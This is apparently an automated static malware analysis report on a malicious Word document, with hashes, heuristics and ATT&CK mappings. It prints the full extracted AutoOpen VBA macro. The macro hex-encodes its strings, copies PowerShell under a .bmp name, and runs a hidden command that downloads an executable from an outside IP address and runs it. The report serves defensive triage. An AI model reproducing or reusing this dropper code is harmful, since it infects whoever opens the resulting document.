Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bcf0206eb20ea16f…

MALICIOUS

Office (OOXML)

21.8 KB Created: 2021-10-07 08:48:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-10-14
MD5: 6c263ba8c748f7095b588bb990c4847b SHA-1: 861c9ea8ecfbb55b7e44885b929f1457d6591afb SHA-256: bcf0206eb20ea16f292d19948471c21e75c6f40ac8d699fc8dae9fba8b3bb7ab
104 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains VBA macros, specifically an AutoOpen macro that uses shell execution. This indicates the document is designed to run malicious code upon opening. The presence of a VBA project and a macros.bas file further supports this, suggesting the macro is intended to download and execute a secondary payload.

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3767 bytes
SHA-256: 9fd644b5f337c250c4678c03325a99274397b910f188ee38e7d04ef9b4dbcea8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const csxsvclubcjs         As Long = (-1&)
Private Const qaeynijbzskxiyb  As Long = &H1
Private Const lwklzpceidrbmxx  As Long = &H100
Private Const qtcvnkviongwybwivlj               As Long = 0&
Private Const vrohxiavdmjeahtm         As Long = 1&
Private Type xpxjjtclh
thckmecwysulstmkj As Long
nxlroqpukoblxeqdwho As String
lvanfoetclwdffpcghov As String
ciuqtejdxciusv As String
teynpmuvoiczyptwla As Long
wkplvzwt As Long
hfwwcpehsdzjdrgy As Long
tsvuhraj As Long
xsflykcqbfyjgpvvfwkm As Long
zwfomrtwmtkvy As Long
tmffdzzsn As Long
ybmoofrjdasceo As Long
nbnlfmyvuz As Integer
szofxshtvixz As Integer
tmsiogubcbqazkywfx As LongPtr
dvhvvvmpkjadnncn As LongPtr
etxudnhgflhyzhule As LongPtr
hynvvvqbh As LongPtr
End Type
Private Type crwpkxqxqhhclyye
zqhbofwgxxh As LongPtr
venwyhkqpconwjteb As LongPtr
adpvirdpvqsfxkpbhfes As Long
ddvdppnphrtg As Long
End Type
Private Declare PtrSafe Function dklbqlpmbbxdhovikgxh Lib "advapi32.dll" Alias "CreateProcessAsUserA" _
(ByVal ioxnygirjn As Long, _
ByVal dthvsqicuywgnggj As Long, _
ByVal eaevuknylkvluan As String, _
ByVal ksgolsbdwbafhfjraxkr As LongPtr, _
ByVal frnmcpmbpszlxbay As LongPtr, _
ByVal wdyjpymasmebpke As Long, _
ByVal mgzhomolm As Long, _
ByVal mnrmrqairukndhkupsz As LongPtr, _
ByVal wfwygxqvfkriizwxsii As String, _
lpStartupInfo As xpxjjtclh, _
lpProcessInformation As crwpkxqxqhhclyye) As Long
Private Declare PtrSafe Function lpugillxkf Lib "kernel32" Alias "CopyFileA" ( _
ByVal ptdiyaxlf As String, _
ByVal wcbajdiinnkthvdouzrg As String, _
ByVal yuvxvrgi As Boolean _
) As Boolean
Sub AutoOpen()
imagePath = swdoefcivund("433a5c5c50726f6772616d446174615c5c726573") & swdoefcivund("702e626d70")
savePath = imagePath + swdoefcivund("202d657865637520625970202d57694e642048694464202d63202475726c20203d2027687474703a2f2f3139322e3136382e35362e33332f6d616c6963696f757362696e6172792f707572656d73662e657865273b2466696c65203d2024656e763a74656d70202b20275c41484349436f6e66") & swdoefcivund("696775726174696f6e2e657865273b496e766f6b652d526573744d6574686f64202d757269202475726c202d4f757446696c65202466696c65203b2465786563203d204e65772d4f626a656374202d636f6d207368656c6c2e6170706c69636174696f6e3b24657865632e7368656c6c65786563757465282466696c65293b")
Dim pshellPath
mars = swdoefcivund("706f77")
venus = swdoefcivund("65727368") & swdoefcivund("65")
uranus = swdoefcivund("6c") & swdoefcivund("6c2e657865")
pluton = mars & venus & uranus
earth = swdoefcivund("57696e") & swdoefcivund("64")
sun = swdoefcivund("6f") & swdoefcivund("7773506f77")
moon = swdoefcivund("6572") & swdoefcivund("5368656c6c")
satellite = earth & sun & moon & satellite
pshellPath = swdoefcivund("433a5c5c57696e646f77735c5c537973") & swdoefcivund("74656d33325c5c") & satellite & swdoefcivund("5c5c76") & swdoefcivund("312e305c5c") & pluton
lpugillxkf pshellPath, imagePath, True
Dim si As xpxjjtclh
Dim pi As crwpkxqxqhhclyye
si.thckmecwysulstmkj = Len(si)
si.ybmoofrjdasceo = qaeynijbzskxiyb
si.nbnlfmyvuz = qtcvnkviongwybwivlj
Result = dklbqlpmbbxdhovikgxh(0&, 0&, savePath, 0&, 0&, False, _
CREATE_NO_WINDOW, _
0&, swdoefcivund("433a5c5c50726f67") & swdoefcivund("72616d44617461"), si, pi)
End Sub
Private Function swdoefcivund(ByVal xydigbwhbxra As String) As String
Dim plvtiepayaud As Long
For plvtiepayaud = 1 To Len(xydigbwhbxra) Step 2
swdoefcivund = swdoefcivund & Chr$(Val("&H" & Mid$(xydigbwhbxra, plvtiepayaud, 2)))
Next plvtiepayaud
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: ed656d4cbfc047cd01e0fae0ebe54c1607f9012e9f281e152e2aa9c03e7c993b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).